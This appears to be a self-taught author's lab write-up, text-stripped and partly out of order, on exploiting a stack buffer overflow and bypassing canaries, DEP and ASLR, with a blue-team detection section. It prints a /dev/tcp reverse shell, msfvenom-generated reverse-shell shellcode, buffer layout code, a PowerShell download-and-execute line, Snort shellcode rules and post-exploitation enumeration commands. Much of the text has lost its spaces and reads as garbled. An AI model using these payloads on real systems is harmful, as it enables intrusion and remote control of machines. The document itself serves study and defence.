detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand

corner

Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points

to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At

memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware

Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump

intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor

aJMPESPopcodetofindamemorylocationwiththatinstruction

1 runthevulnerableserver

2 startupedbdebuggerandattackthevulnerableserver

3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP

4 Manuallysearchthrougheachloadedbinaryandclicksearch

0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU

tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder

So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the

futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun

Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow

binsh-igtampdevtcp12700144440gtamp1

Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in

one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It

lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)

The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate

a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and

not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there

isanaddedlayerofcomplexity

LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes

ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs

NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general

sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as

register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often

abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine

codeinstructionsrdquo

So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But

when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing

the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work

helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos

So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters

commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it

any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the

registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip

PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip

binsh-igtampdevtcp12700144440gtamp1

encodesto

x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x

2fx34x34x34x34x20x30x3ex26x31

Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly

from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a

simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX

To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86

encodedcommandthatthekernelcaninterpret

binsh-igtampdevtcp12700144440gtamp1

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

x86encodedShellCode

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01

xd8x7dxf3xdcx9b

TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully

understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally

worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders

- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform

- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina

singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos

ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is

malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced

- f=formathellipThatcanberawCJSPshelletcetc

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

